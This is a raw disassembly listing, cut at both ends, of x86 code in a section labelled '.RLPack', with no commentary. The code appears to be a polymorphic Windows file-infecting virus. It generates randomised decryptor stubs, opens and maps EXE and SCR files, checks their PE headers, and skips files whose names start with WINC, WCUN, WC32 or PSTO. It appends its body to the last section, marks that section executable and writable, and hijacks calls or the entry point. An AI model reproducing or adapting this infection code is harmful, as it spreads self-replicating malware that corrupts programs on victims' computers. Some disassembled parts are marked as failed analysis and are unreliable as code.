sub_4FF8E8 endp
; ---------------------------------------------------------------------------
loc_4FF952: ; CODE XREF: sub_5003AC+112p
lea edi, [ebp+40343Ch]
test dword ptr [ebp+403431h], 80000000h
jz short loc_4FF967
mov al, 60h
stosb
loc_4FF967: ; CODE XREF: .RLPack:004FF962j
test dword ptr [ebp+403431h], 1000003h
jz loc_4FFA6D
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
call near ptr 0BDD9A52Bh
xchg eax, esi
cmp [eax+0], eax
mov al, 0E8h
stosb
stosd
test dword ptr [ebp+403431h], 1000000h
mov [ebp+40399Ah], edi
jz short loc_4FF9E5
test dword ptr [ebp+403431h], 2000000h
mov eax, 36FF6467h
jnz short loc_4FF9B0
mov eax, 2E8B6467h
loc_4FF9B0: ; CODE XREF: .RLPack:004FF9A9j
stosd
mov ax, 0
stosw
jz short loc_4FF9BC
mov al, 5Dh
stosb
loc_4FF9BC: ; CODE XREF: .RLPack:004FF9B7j
test dword ptr [ebp+403431h], 8000000h
mov eax, 86D8Dh
jnz short loc_4FF9E3
test dword ptr [ebp+403431h], 4000000h
mov eax, 8C583h
jz short loc_4FF9E3
mov eax, 0F8ED83h
loc_4FF9E3: ; CODE XREF: .RLPack:004FF9CBj
; .RLPack:004FF9DCj
stosd
dec edi
loc_4FF9E5: ; CODE XREF: .RLPack:004FF998j
test dword ptr [ebp+403431h], 3
jz short loc_4FF9F5
mov al, 0E9h
stosb
stosd
loc_4FF9F5: ; CODE XREF: .RLPack:004FF9EFj
mov eax, dword ptr ss:loc_403996[ebp]
mov ecx, edi
sub ecx, eax
mov [eax-4], ecx
test dword ptr [ebp+403431h], 3
jz short loc_4FFA6D
mov eax, 36FF6467h
mov dword ptr ss:loc_40399E[ebp], edi
stosd
mov eax, 64670000h
stosd
mov eax, 2689h
stosd
call sub_4FF8E8
mov al, 20h
call sub_4FF701
jecxz short loc_4FFA6D
mov ax, 15FFh
stosw
xchg eax, ecx
stosd
mov edx, [ebp+403431h]
not edx
test edx, 3
jnz short loc_4FFA60
call sub_4FF8E8
mov al, 1Fh
call sub_4FF701
mov ax, 15FFh
stosw
xchg eax, ecx
stosd
loc_4FFA60: ; CODE XREF: .RLPack:004FFA4Aj
mov ecx, edi
mov eax, dword ptr ss:loc_40399E[ebp]
sub ecx, eax
mov [eax-4], ecx
loc_4FFA6D: ; CODE XREF: .RLPack:004FF971j
; .RLPack:004FFA0Cj ...
test dword ptr [ebp+403431h], 4
jz short loc_4FFA8B
mov eax, 0C8FEC029h
stosd
mov eax, 474C008h
stosd
mov eax, 67EBF875h
stosd
loc_4FFA8B: ; CODE XREF: .RLPack:004FFA77j
test dword ptr [ebp+403431h], 8
jnz short loc_4FFAE1
cmp byte ptr [ebp+40342Fh], 0
jz short loc_4FFAE1
mov eax, 0C9291829h
or ah, byte ptr ss:loc_40342B[ebp]
shl ah, 3
or ah, byte ptr ss:loc_40342B[ebp]
stosd
mov al, 0B1h
stosb
mov al, [ebp+40342Fh]
stosb
mov al, 40h
or al, byte ptr ss:loc_40342B[ebp]
stosb
mov ax, 0FDE2h
test dword ptr [ebp+403431h], 10h
jz short loc_4FFADF
mov al, 49h
stosb
mov ax, 0FC75h
loc_4FFADF: ; CODE XREF: .RLPack:004FFAD6j
stosw
loc_4FFAE1: ; CODE XREF: .RLPack:004FFA95j
; .RLPack:004FFA9Ej
mov al, 0E8h
stosb
xor eax, eax
stosd
mov [ebp+403982h], edi
test dword ptr [ebp+403431h], 20h
jnz short loc_4FFB02
mov al, 58h
or al, [ebp+403429h]
stosb
loc_4FFB02: ; CODE XREF: .RLPack:004FFAF7j
mov ax, 0C081h
test dword ptr [ebp+403431h], 40h
jz short loc_4FFB15
add ah, 28h
loc_4FFB15: ; CODE XREF: .RLPack:004FFB10j
or ah, [ebp+403429h]
stosw
mov dword ptr ss:loc_403986[ebp], edi
stosd
test dword ptr [ebp+403431h], 40000000h
jnz short loc_4FFB39
mov al, 50h
add al, [ebp+403429h]
stosb
loc_4FFB39: ; CODE XREF: .RLPack:004FFB2Ej
test dword ptr [ebp+403431h], 80h
jnz short loc_4FFB50
mov al, 0B8h
or al, [ebp+40342Ah]
stosb
jmp short loc_4FFB8D
; ---------------------------------------------------------------------------
loc_4FFB50: ; CODE XREF: .RLPack:004FFB43j
mov ax, 1831h
test dword ptr [ebp+403431h], 100h
jz short loc_4FFB62
mov al, 29h
loc_4FFB62: ; CODE XREF: .RLPack:004FFB5Ej
or ah, [ebp+40342Ah]
shl ah, 3
or ah, [ebp+40342Ah]
stosw
mov ax, 0F081h
test dword ptr [ebp+403431h], 200h
jnz short loc_4FFB85
mov ah, 0C8h
loc_4FFB85: ; CODE XREF: .RLPack:004FFB81j
or ah, [ebp+40342Ah]
stosw
loc_4FFB8D: ; CODE XREF: .RLPack:004FFB4Ej
mov [ebp+4039A2h], edi
mov eax, 243Ch
stosd
test dword ptr [ebp+403431h], 8
jz short loc_4FFC11
test dword ptr [ebp+403431h], 400h
jnz short loc_4FFBBC
mov al, 0B8h
or al, byte ptr ss:loc_40342B[ebp]
stosb
jmp short loc_4FFC09
; ---------------------------------------------------------------------------
loc_4FFBBC: ; CODE XREF: .RLPack:004FFBAFj
test dword ptr [ebp+403431h], 800h
jnz short loc_4FFBD9
mov ax, 0E083h
or ah, byte ptr ss:loc_40342B[ebp]
stosw
xor eax, eax
stosb
jmp short loc_4FFBEE
; ---------------------------------------------------------------------------
loc_4FFBD9: ; CODE XREF: .RLPack:004FFBC6j
mov ax, 1829h
or ah, byte ptr ss:loc_40342B[ebp]
shl ah, 3
or ah, byte ptr ss:loc_40342B[ebp]
stosw
loc_4FFBEE: ; CODE XREF: .RLPack:004FFBD7j
test dword ptr [ebp+403431h], 1000h
mov ax, 0C081h
jz short loc_4FFC01
add ah, 8
loc_4FFC01: ; CODE XREF: .RLPack:004FFBFCj
or ah, byte ptr ss:loc_40342B[ebp]
stosw
loc_4FFC09: ; CODE XREF: .RLPack:004FFBBAj
movzx eax, byte ptr [ebp+40342Fh]
stosd
loc_4FFC11: ; CODE XREF: .RLPack:004FFBA3j
test dword ptr [ebp+403431h], 40000000h
jz short loc_4FFC26
mov al, 50h
add al, [ebp+403429h]
stosb
loc_4FFC26: ; CODE XREF: .RLPack:004FFC1Bj
test dword ptr [ebp+403431h], 2000h
mov al, 86h
jnz short loc_4FFC36
add al, 4
loc_4FFC36: ; CODE XREF: .RLPack:004FFC32j
lea ecx, [edi-2]
mov ah, [ebp+403429h]
mov [ebp+40398Ah], ecx
stosw
cmp ah, 5
jnz short loc_4FFC53
mov al, 0
or byte ptr [edi-1], 40h
stosb
loc_4FFC53: ; CODE XREF: .RLPack:004FFC4Aj
test dword ptr [ebp+403431h], 4000h
mov ax, 3166h
jnz short loc_4FFC65
mov ah, 29h
loc_4FFC65: ; CODE XREF: .RLPack:004FFC61j
stosw
mov al, 18h
or al, byte ptr ss:loc_40342B[ebp]
shl al, 3
stosb
mov al, 88h
test dword ptr [ebp+403431h], 8000h
jnz short loc_4FFC83
mov al, 86h
loc_4FFC83: ; CODE XREF: .RLPack:004FFC7Fj
mov ah, [ebp+403429h]
stosw
cmp ah, 5
jnz short loc_4FFC97
mov al, 0
or byte ptr [edi-1], 40h
stosb
loc_4FFC97: ; CODE XREF: .RLPack:004FFC8Ej
test dword ptr [ebp+403431h], 10000h
jnz short loc_4FFCAE
mov al, 40h
or al, [ebp+403429h]
stosb
jmp short loc_4FFCBD
; ---------------------------------------------------------------------------
loc_4FFCAE: ; CODE XREF: .RLPack:004FFCA1j
mov ax, 0C083h
or ah, [ebp+403429h]
stosw
mov al, 1
stosb
loc_4FFCBD: ; CODE XREF: .RLPack:004FFCACj
test dword ptr [ebp+403431h], 20000h
jnz short loc_4FFCF8
test dword ptr [ebp+403431h], 40000h
jnz short loc_4FFCEF
mov al, 0C0h
or al, byte ptr ss:loc_40342B[ebp]
mov ah, [ebp+403430h]
shl eax, 10h
mov ax, 8166h
stosd
mov al, 0
jmp short loc_4FFCF7
; ---------------------------------------------------------------------------
loc_4FFCEF: ; CODE XREF: .RLPack:004FFCD3j
mov al, 40h
or al, byte ptr ss:loc_40342B[ebp]
loc_4FFCF7: ; CODE XREF: .RLPack:004FFCEDj
stosb
loc_4FFCF8: ; CODE XREF: .RLPack:004FFCC7j
test dword ptr [ebp+403431h], 80000h
jnz short loc_4FFD14
mov ax, 0E883h
or ah, [ebp+40342Ah]
stosw
mov al, 1
jmp short loc_4FFD1C
; ---------------------------------------------------------------------------
loc_4FFD14: ; CODE XREF: .RLPack:004FFD02j
mov al, 48h
or al, [ebp+40342Ah]
loc_4FFD1C: ; CODE XREF: .RLPack:004FFD12j
stosb
test dword ptr [ebp+403431h], 100000h
mov cl, 75h
jnz short loc_4FFD50
mov ax, 0F883h
or ah, [ebp+40342Ah]
stosw
xor eax, eax
stosb
sub [ebp+40398Ah], edi
test dword ptr [ebp+403431h], 200000h
jnz short loc_4FFD6B
mov cl, 77h
jmp short loc_4FFD6B
; ---------------------------------------------------------------------------
loc_4FFD50: ; CODE XREF: .RLPack:004FFD29j
mov ax, 1809h
or ah, [ebp+40342Ah]
shl ah, 3
or ah, [ebp+40342Ah]
stosw
sub [ebp+40398Ah], edi
loc_4FFD6B: ; CODE XREF: .RLPack:004FFD4Aj
; .RLPack:004FFD4Ej
mov al, cl
mov ah, [ebp+40398Ah]
stosw
mov al, 58h
add al, [ebp+403429h]
stosb
test dword ptr [ebp+403431h], 1000003h
jz loc_4FFE15
mov eax, 268B6467h
mov ecx, [ebp+403431h]
xor ecx, 2000000h
test ecx, 3000000h
jnz short loc_4FFDAC
mov eax, 2E876467h
loc_4FFDAC: ; CODE XREF: .RLPack:004FFDA5j
stosd
mov eax, 0
stosw
jnz short loc_4FFDBC
mov ax, 0E58Bh
stosw
loc_4FFDBC: ; CODE XREF: .RLPack:004FFDB4j
mov eax, 68F6764h
stosd
xor eax, eax
stosw
test dword ptr [ebp+403431h], 1000000h
jnz short loc_4FFE12
test dword ptr [ebp+403431h], 8000000h
jz short loc_4FFE04
mov ax, 6C8Dh
test dword ptr [ebp+403431h], 2000000h
setnz cl
or ah, cl
stosw
test cl, cl
jnz short loc_4FFDFF
mov ax, 424h
stosw
jmp short loc_4FFE12
; ---------------------------------------------------------------------------
loc_4FFDFF: ; CODE XREF: .RLPack:004FFDF5j
mov al, 8
stosb
jmp short loc_4FFE12
; ---------------------------------------------------------------------------
loc_4FFE04: ; CODE XREF: .RLPack:004FFDDCj
mov ax, 5D58h
add al, byte ptr ss:loc_40342B[ebp]
stosw
jmp short loc_4FFE15
; ---------------------------------------------------------------------------
loc_4FFE12: ; CODE XREF: .RLPack:004FFDD0j
; .RLPack:004FFDFDj ...
mov al, 0C9h
stosb
loc_4FFE15: ; CODE XREF: .RLPack:004FFD88j
; .RLPack:004FFE10j
test dword ptr [ebp+403431h], 80000000h
jz short loc_4FFE41
mov al, 7
sub al, [ebp+403429h]
shl eax, 1Ah
or eax, 240889h
add ah, [ebp+403429h]
shl ah, 3
add ah, 4
stosd
mov al, 61h
stosb
loc_4FFE41: ; CODE XREF: .RLPack:004FFE1Fj
mov ax, 0E0FFh
or ah, [ebp+403429h]
stosw
test dword ptr [ebp+403431h], 20h
jz short loc_4FFEAC
test dword ptr [ebp+403431h], 20000000h
jz short loc_4FFE72
loc_4FFE65: ; CODE XREF: .RLPack:004FFE70j
test edi, 3
jz short loc_4FFE72
mov al, 90h
stosb
jmp short loc_4FFE65
; ---------------------------------------------------------------------------
loc_4FFE72: ; CODE XREF: .RLPack:004FFE63j
; .RLPack:004FFE6Bj
mov eax, edi
mov ecx, [ebp+403982h]
sub eax, ecx
mov [ecx-4], eax
mov al, 58h
or al, [ebp+403429h]
stosb
test dword ptr [ebp+403431h], 400000h
jz short loc_4FFEA0
mov ax, 0C350h
or al, [ebp+403429h]
jmp short loc_4FFEAA
; ---------------------------------------------------------------------------
loc_4FFEA0: ; CODE XREF: .RLPack:004FFE92j
mov ax, 0E0FFh
or ah, [ebp+403429h]
loc_4FFEAA: ; CODE XREF: .RLPack:004FFE9Ej
stosw
loc_4FFEAC: ; CODE XREF: .RLPack:004FFE57j
test dword ptr [ebp+403431h], 1000003h
jz short loc_4FFF2B
test dword ptr [ebp+403431h], 20000000h
jz short loc_4FFED1
loc_4FFEC4: ; CODE XREF: .RLPack:004FFECFj
test edi, 3
jz short loc_4FFED1
mov al, 90h
stosb
jmp short loc_4FFEC4
; ---------------------------------------------------------------------------
loc_4FFED1: ; CODE XREF: .RLPack:004FFEC2j
; .RLPack:004FFECAj
mov ecx, edi
mov eax, [ebp+40399Ah]
sub ecx, eax
mov [eax-4], ecx
xor ecx, ecx
test dword ptr [ebp+403431h], 800000h
jnz short loc_4FFEFA
lea eax, [ebp+403429h]
loc_4FFEF2: ; CODE XREF: .RLPack:004FFEF8j
mov cl, [eax]
inc eax
cmp cl, 3
jnb short loc_4FFEF2
loc_4FFEFA: ; CODE XREF: .RLPack:004FFEEAj
lea eax, ds:102444h[ecx*8]
shl eax, 8
mov al, 8Bh
stosd
jecxz short loc_4FFF0F
mov ax, 0C031h
stosw
loc_4FFF0F: ; CODE XREF: .RLPack:004FFF07j
mov ax, 808Fh
push 0B8h
add ah, cl
stosw
pop eax
stosd
test ecx, ecx
jnz short loc_4FFF28
mov ax, 0C031h
stosw
loc_4FFF28: ; CODE XREF: .RLPack:004FFF20j
mov al, 0C3h
stosb
loc_4FFF2B: ; CODE XREF: .RLPack:004FFEB6j
lea eax, [ebp+40343Ch]
test dword ptr [ebp+403431h], 10000000h
jnz short loc_4FFF43
push edi
sub edi, eax
pop eax
jmp short loc_4FFF5C
; ---------------------------------------------------------------------------
loc_4FFF43: ; CODE XREF: .RLPack:004FFF3Bj
mov edx, [ebx+28h]
sub edi, eax
sub edx, eax
mov ecx, [ebp+4039A2h]
add [ebp+403982h], edx
add [ecx], edi
mov eax, [esp+4]
loc_4FFF5C: ; CODE XREF: .RLPack:004FFF41j
mov dword ptr ss:loc_40106D[ebp], edi
mov edi, dword ptr ss:loc_403986[ebp]
sub eax, [ebp+403982h]
test dword ptr [ebp+403431h], 40h
jz short loc_4FFF7C
neg eax
loc_4FFF7C: ; CODE XREF: .RLPack:004FFF78j
stosd
retn 4
; =============== S U B R O U T I N E =======================================
sub_4FFF80 proc near ; CODE XREF: sub_5003AC+2A8p
push esi
push edi
cmp dword ptr [ebp+4039AEh], 0
jz loc_500168
call near ptr loc_4FFFA0+1
dec ebx
inc ebp
push edx
dec esi
inc ebp
dec esp
xor esi, [edx]
db 2Eh
inc esp
dec esp
dec esp
loc_4FFFA0: ; CODE XREF: sub_4FFF80+Fp
add bh, bh
sub_4FFF80 endp ; sp-analysis failed
xchg eax, ebp
mov ds:85890040h, dh
mov esi, 53004039h
mov ebx, [eax+3Ch]
add ebx, eax
push dword ptr [ebx+28h]
mov eax, [ebx+34h]
call sub_4FF6BA
mov edx, dword ptr ss:loc_4039A6[ebp]
pop ebx
add eax, [edx+0Ch]
mov [ebp+4039C2h], eax
add eax, [edx+8]
mov [ebp+4039C6h], eax
mov esi, [ebx+28h]
push dword ptr [ebx+80h]
call sub_4FF6BA
mov edi, dword ptr ss:loc_4039A6[ebp]
push esi
call sub_4FF6BA
mov edx, dword ptr ss:loc_4039A6[ebp]
mov ecx, [edx+8]
add ecx, [edx+0Ch]
sub ecx, esi
sub ecx, 5
js loc_500168
jz loc_500168
add esi, [ebp+4039AAh]
add esi, [ebp+403972h]
; START OF FUNCTION CHUNK FOR sub_500139
loc_50001A: ; CODE XREF: sub_500139+29j
lodsb
cmp al, 0E8h
jnz loc_5000C5
lea eax, [esi+4]
sub eax, [ebp+403972h]
add eax, [esi]
push eax
call sub_4FF6BA
cmp dword ptr ss:loc_4039A6[ebp], 0
jnz short loc_500048
cmp eax, [edi+0Ch]
jnb loc_500161
jmp short loc_500054
; ---------------------------------------------------------------------------
loc_500048: ; CODE XREF: sub_500139-FEj
cmp dword ptr ss:loc_4039A6[ebp], edx
jnz loc_500161
loc_500054: ; CODE XREF: sub_500139-F3j
add eax, [ebp+403972h]
cmp word ptr [eax], 25FFh
jnz loc_500161
mov eax, [eax+2]
sub eax, [ebx+34h]
push eax
call sub_4FF6BA
cmp dword ptr ss:loc_4039A6[ebp], edi
jnz loc_500161
add eax, [ebp+4039AAh]
add eax, [ebp+403972h]
mov eax, [eax]
sub eax, [edi+0Ch]
jb loc_500161
cmp eax, [edi+8]
jnb loc_500161
loc_50009D: ; CODE XREF: sub_500139+22j
add eax, 2
add eax, [edi+14h]
add eax, [ebp+403972h]
push edx
push eax
push dword ptr ss:loc_4039BE[ebp]
call dword ptr [ebp+403548h]
pop edx
test eax, eax
jnz loc_500177
jmp loc_500161
; ---------------------------------------------------------------------------
loc_5000C5: ; CODE XREF: sub_500139-11Cj
cmp al, 0FFh
jnz loc_500161
cmp byte ptr [esi], 15h
jnz loc_500161
mov eax, [esi+1]
sub eax, [ebx+34h]
push eax
call sub_4FF6BA
cmp dword ptr ss:loc_4039A6[ebp], edi
jnz short loc_500161
add eax, [ebp+4039AAh]
add eax, [ebp+403972h]
mov dword ptr ss:loc_4039CA[ebp], eax
mov eax, [eax]
cmp eax, [ebp+4039C2h]
jb short loc_50010E
cmp eax, [ebp+4039C6h]
jb short loc_500177
loc_50010E: ; CODE XREF: sub_500139-35j
cmp eax, 70000000h
jb short loc_50014C
call sub_500139
lea ecx, [esi-4]
mov eax, ecx
sub eax, [edx]
add eax, [edx+10h]
cmp eax, dword ptr ss:loc_4039CA[ebp]
jnz short locret_500138
add esp, 10h
push dword ptr [ecx]
pop [esp-0Ch+arg_24]
popa
jmp short loc_500153
; ---------------------------------------------------------------------------
locret_500138: ; CODE XREF: sub_500139-Fj
retn
; END OF FUNCTION CHUNK FOR sub_500139
; =============== S U B R O U T I N E =======================================
sub_500139 proc near ; CODE XREF: sub_500139-24p
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_24 = dword ptr 28h
; FUNCTION CHUNK AT 0050001A SIZE 0000011F BYTES
pop dword ptr [ebp+403992h]
pusha
mov esi, [ebp+403972h]
call sub_4FF7C1
popa
loc_50014C: ; CODE XREF: sub_500139-26j
test eax, 80000000h
jnz short loc_500161
loc_500153: ; CODE XREF: sub_500139-3j
sub eax, [edi+0Ch]
jb short loc_500161
cmp eax, [edi+8]
jb loc_50009D
loc_500161: ; CODE XREF: sub_500139-F9j
; sub_500139-EBj ...
dec ecx
jnz loc_50001A
loc_500168: ; CODE XREF: sub_4FFF80+9j
; .RLPack:00500002j ...
mov edi, [esp-4+arg_0]
and dword ptr [edi+2431h], 7FFFFFFFh
jmp short loc_5001B3
; ---------------------------------------------------------------------------
loc_500177: ; CODE XREF: sub_500139-7Fj
; sub_500139-2Dj
or dword ptr [edx+24h], 0E0000060h
dec esi
xor eax, eax
mov ecx, [esp+8+var_8]
xchg eax, [ebp+4039AEh]
lea edi, [ecx+2435h]
add eax, [ebp+403972h]
movsw
movsd
dec esi
sub eax, esi
add eax, [edx+14h]
sub eax, [edx+0Ch]
mov byte ptr [esi-5], 0E8h
mov dword ptr [ecx+52h], 5
mov [esi-4], eax
loc_5001B3: ; CODE XREF: sub_500139+3Cj
pop edi
pop esi
retn
sub_500139 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5001B6 proc near ; CODE XREF: .RLPack:00500384p
; sub_5003AC+127p
lea esi, [ebp+40384Eh]
push esi
call dword ptr [ebp+40357Ch]
cmp eax, 0FFFFFFFFh
jz locret_500287
mov [ebp+403952h], eax
push 0
push esi
call dword ptr [ebp+4035B4h]
test eax, eax
jz locret_500287
sub eax, eax
push eax
push eax
push 3
push eax
push 1
push 0C0000000h
push esi
call dword ptr ss:loc_40355C[ebp]
cmp eax, 0FFFFFFFFh
jz loc_50073F
mov dword ptr ss:loc_403956[ebp], eax
lea ecx, [ebp+40395Ah]
lea edx, [ebp+403962h]
push ecx
push edx
push 0
push eax
call dword ptr [ebp+403584h]
cmp eax, 0FFFFFFFFh
jz loc_500733
push 0
push dword ptr ss:loc_403956[ebp]
call dword ptr ss:loc_403580[ebp]
cmp eax, 0FFFFFFFFh
jz loc_500733
mov dword ptr ss:loc_40396A[ebp], eax
xor ecx, ecx
add eax, ebx
push ecx
push eax
push ecx
push 4
push ecx
push dword ptr ss:loc_403956[ebp]
call dword ptr [ebp+403560h]
test eax, eax
jz loc_500733
xor ecx, ecx
mov [ebp+40396Eh], eax
push ecx
push ecx
push ecx
push 0F001Fh
push eax
call dword ptr [ebp+4035A0h]
test eax, eax
jz loc_50070B
mov [ebp+403972h], eax
locret_500287: ; CODE XREF: sub_5001B6+10j
; sub_5001B6+27j ...
retn
sub_5001B6 endp
; =============== S U B R O U T I N E =======================================
sub_500288 proc near ; CODE XREF: sub_5003AC+117p
; sub_5003AC+223p
mov eax, 69CDh
mov ecx, [ebx+38h]
test dword ptr [ebp+403431h], 10000000h
jnz short loc_5002A2
add eax, dword ptr ss:loc_40106D[ebp]
loc_5002A2: ; CODE XREF: sub_500288+12j
xor edx, edx
add eax, ecx
div ecx
mul ecx
mov [ebp+40397Ah], eax
mov eax, 243Bh
mov ecx, [ebx+3Ch]
add eax, dword ptr ss:loc_40106D[ebp]
xor edx, edx
add eax, ecx
div ecx
mul ecx
mov dword ptr ss:loc_403976[ebp], eax
retn
sub_500288 endp
; =============== S U B R O U T I N E =======================================
sub_5002CD proc near ; CODE XREF: sub_5003AC:loc_5003FBp
; sub_5003AC+13Dp
movzx ecx, word ptr [ebx+6]
stc
loc_5002D2: ; CODE XREF: sub_5002CD+23j
jecxz short locret_500309
lea edx, [ebx+18h]
movzx eax, word ptr [ebx+14h]
add edx, eax
dec ecx
imul eax, ecx, 28h
add edx, eax
cmp dword ptr [edx], 6E69775Fh
stc
jz short locret_500309
cmp dword ptr [edx+0Ch], 1
jb short loc_5002D2
mov ecx, [ebx+3Ch]
mov eax, [edx+14h]
add eax, [edx+10h]
lea eax, [eax+ecx*2-1]
neg ecx
and eax, ecx
cmp eax, dword ptr ss:loc_40396A[ebp]
locret_500309: ; CODE XREF: sub_5002CD:loc_5002D2j
; sub_5002CD+1Dj ...
retn
sub_5002CD endp
; =============== S U B R O U T I N E =======================================
sub_50030A proc near ; CODE XREF: .RLPack:00500396p
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
xor eax, eax
pop dword ptr [edx+0B8h]
retn
sub_50030A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_500317: ; CODE XREF: .RLPack:00500338j
mov ecx, edi
jmp short loc_500326
; ---------------------------------------------------------------------------
lea edi, [ebp+40384Eh]
cld
loc_500322: ; CODE XREF: .RLPack:00500334j
mov ebx, edi
xor ecx, ecx
loc_500326: ; CODE XREF: .RLPack:00500319j
; .RLPack:0050033Cj
lodsb
cmp al, 61h
jb short loc_500331
cmp al, 7Ah
ja short loc_500331
sub al, 20h
loc_500331: ; CODE XREF: .RLPack:00500329j
; .RLPack:0050032Dj
stosb
cmp al, 5Ch
jz short loc_500322
cmp al, 2Eh
jz short loc_500317
cmp al, 0
jnz short loc_500326
jecxz short locret_500309
mov eax, [ecx]
cmp eax, 455845h
jz short loc_500354
cmp eax, 524353h
jnz locret_500287
loc_500354: ; CODE XREF: .RLPack:00500347j
mov eax, [ebx]
cmp eax, 434E4957h
jz locret_500287
cmp eax, 4E554357h
jz locret_500287
cmp eax, 32334357h
jz locret_500287
cmp eax, 4F545350h
jz locret_500287
xor ebx, ebx
call sub_5001B6
jz locret_500287
xor edx, edx
call sub_5003AC
call sub_50030A
call $+5
pop ebp
sub ebp, offset loc_402F8A
jmp loc_5006E9
; =============== S U B R O U T I N E =======================================
sub_5003AC proc near ; CODE XREF: .RLPack:00500391p
var_14 = dword ptr -14h
push dword ptr fs:[edx]
mov esi, [ebp+403972h]
mov fs:[edx], esp
cmp word ptr [esi], 5A4Dh
jnz loc_5006E9
mov ebx, [esi+3Ch]
add ebx, esi
cmp word ptr [ebx], 4550h
jnz loc_5006E9
test dword ptr [ebx+16h], 2000h
jnz loc_5006E9
test byte ptr [ebx+5Ch], 2
mov ecx, [esi+20h]
jz loc_5006E9
jecxz short loc_5003FB
cmp ecx, 101h
jbe loc_5006E9
loc_5003FB: ; CODE XREF: sub_5003AC+41j
call sub_5002CD
jb loc_5006E9
mov ecx, [edx+10h]
add ecx, [edx+0Ch]
mov eax, 10000h
push ecx
call sub_4FEF05
xor [ebp+40342Fh], dl
mov cl, 20h
xor [ebp+403430h], dh
loc_500425: ; CODE XREF: sub_5003AC+92j
push 20h
dec cl
pop eax
js short loc_500440
call sub_4FEF05
test edx, edx
setz dl
shl edx, cl
xor [ebp+403431h], edx
jmp short loc_500425
; ---------------------------------------------------------------------------
loc_500440: ; CODE XREF: sub_5003AC+7Ej
; sub_5003AC+CDj ...
push 6
pop ecx
loc_500446: ; CODE XREF: sub_5003AC+B8j
push 6
pop eax
call sub_4FEF05
mov al, [ebp+403429h]
xchg al, [edx+ebp+403429h]
mov [ebp+403429h], al
loop loc_500446
test dword ptr [ebp+403431h], 8
jnz short loc_50047B
cmp byte ptr ss:loc_40342B[ebp], 1
jz short loc_500440
loc_50047B: ; CODE XREF: sub_5003AC+C4j
test dword ptr [ebp+403431h], 1000003h
jz short loc_5004A2
cmp byte ptr [ebp+403429h], 5
jz short loc_500440
cmp byte ptr [ebp+40342Ah], 5
jz short loc_500440
cmp byte ptr ss:loc_40342B[ebp], 5
jz short loc_500440
loc_5004A2: ; CODE XREF: sub_5003AC+D9j
test dword ptr [ebp+403431h], 80000000h
jz short loc_5004B7
cmp byte ptr [ebp+403429h], 2
ja short loc_500440
loc_5004B7: ; CODE XREF: sub_5003AC+100j
and dword ptr [ebp+4039AEh], 0
call loc_4FF952
call sub_500288
call sub_5006F2
mov ebx, dword ptr ss:loc_403976[ebp]
call sub_5001B6
jz loc_5006E9
mov esi, [ebp+403972h]
mov ebx, [esi+3Ch]
add ebx, esi
call sub_5002CD
jb loc_5006E9
or dword ptr [edx+24h], 0E0000060h
mov edi, esi
push edx
push esi
add edi, [edx+14h]
add edi, [edx+10h]
test dword ptr [ebp+403431h], 10000000h
jnz short loc_50051F
lea esi, [ebp+40343Ch]
mov ecx, dword ptr ss:loc_40106D[ebp]
rep movsb
loc_50051F: ; CODE XREF: sub_5003AC+163j
push edi
mov ecx, 90Fh
lea esi, sub_401000[ebp]
rep movsd
mov cl, 0
jecxz short loc_500533
rep movsb
loc_500533: ; CODE XREF: sub_5003AC+183j
test dword ptr [ebp+403431h], 10000000h
jz loc_5005EB
push dword ptr [ebx+28h]
call sub_4FF6BA
mov edx, dword ptr ss:loc_4039A6[ebp]
test edx, edx
jz loc_5005EB
mov esi, [ebp+403972h]
mov ecx, [edx+10h]
or dword ptr [edx+24h], 0E0000060h
sub ecx, [edx+8]
jnb short loc_500570
xor ecx, ecx
loc_500570: ; CODE XREF: sub_5003AC+1C0j
add esi, [edx+14h]
cmp ecx, dword ptr ss:loc_40106D[ebp]
mov ecx, dword ptr ss:loc_40106D[ebp]
jb short loc_5005D7
mov edi, [esp+14h+var_14]
and dword ptr ss:loc_40106D[ebp], 0
and dword ptr [edi+6Dh], 0
mov edi, [edx+8]
add [edx+8], ecx
add esi, edi
xchg esi, edi
mov eax, dword ptr ss:loc_403986[ebp]
test dword ptr [ebp+403431h], 40h
jz short loc_5005B0
neg dword ptr [eax]
loc_5005B0: ; CODE XREF: sub_5003AC+200j
add esi, [edx+0Ch]
sub [eax], esi
mov [ebp+4039AEh], esi
mov esi, [ebx+28h]
add [eax], esi
test dword ptr [ebp+403431h], 40h
jz short loc_5005CE
neg dword ptr [eax]
loc_5005CE: ; CODE XREF: sub_5003AC+21Ej
push ecx
call sub_500288
pop ecx
jmp short loc_5005E3
; ---------------------------------------------------------------------------
loc_5005D7: ; CODE XREF: sub_5003AC+1D3j
add esi, [ebx+28h]
sub esi, [edx+0Ch]
push ecx
push esi
rep movsb
pop edi
pop ecx
loc_5005E3: ; CODE XREF: sub_5003AC+229j
lea esi, [ebp+40343Ch]
rep movsb
loc_5005EB: ; CODE XREF: sub_5003AC+191j
; sub_5003AC+1A7j
pop edi
pop esi
rdtsc
xchg eax, edx
lea eax, [edi+1D2h]
cmp dl, [ebp+40342Fh]
jnz short loc_500604
imul edx, 12345678h
loc_500604: ; CODE XREF: sub_5003AC+250j
mov [eax-1], dl
call sub_4FE5D8
pop edx
mov ecx, [edx+0Ch]
add ecx, [edx+10h]
test dword ptr [ebp+403431h], 10000000h
lea eax, [ecx+6]
jnz short loc_500635
mov [ebp+4039AEh], ecx
add eax, dword ptr ss:loc_40106D[ebp]
and dword ptr [edi+6Dh], 0
loc_500635: ; CODE XREF: sub_5003AC+274j
sub eax, [ebx+28h]
push dword ptr [ebp+40397Eh]
mov [edi+52h], eax
pop dword ptr [esi+20h]
test dword ptr [ebp+403431h], 80000000h
jz short loc_50065A
push edx
call sub_4FFF80
pop edx
loc_50065A: ; CODE XREF: sub_5003AC+2A5j
mov ecx, [ebp+4039AEh]
jecxz short loc_500665
mov [ebx+28h], ecx
loc_500665: ; CODE XREF: sub_5003AC+2B4j
mov ecx, [edx+10h]
mov eax, dword ptr ss:loc_403976[ebp]
cmp [edx+8], ecx
jnb short loc_500676
mov [edx+8], ecx
loc_500676: ; CODE XREF: sub_5003AC+2C5j
add [edx+10h], eax
and dword ptr [ebx+58h], 0
mov eax, [ebp+40397Ah]
push 243Ch
add [edx+8], eax
pop ecx
add [ebx+50h], eax
mov dl, [ebp+40342Fh]
test dword ptr [ebp+403431h], 10000000h
jz short loc_5006A7
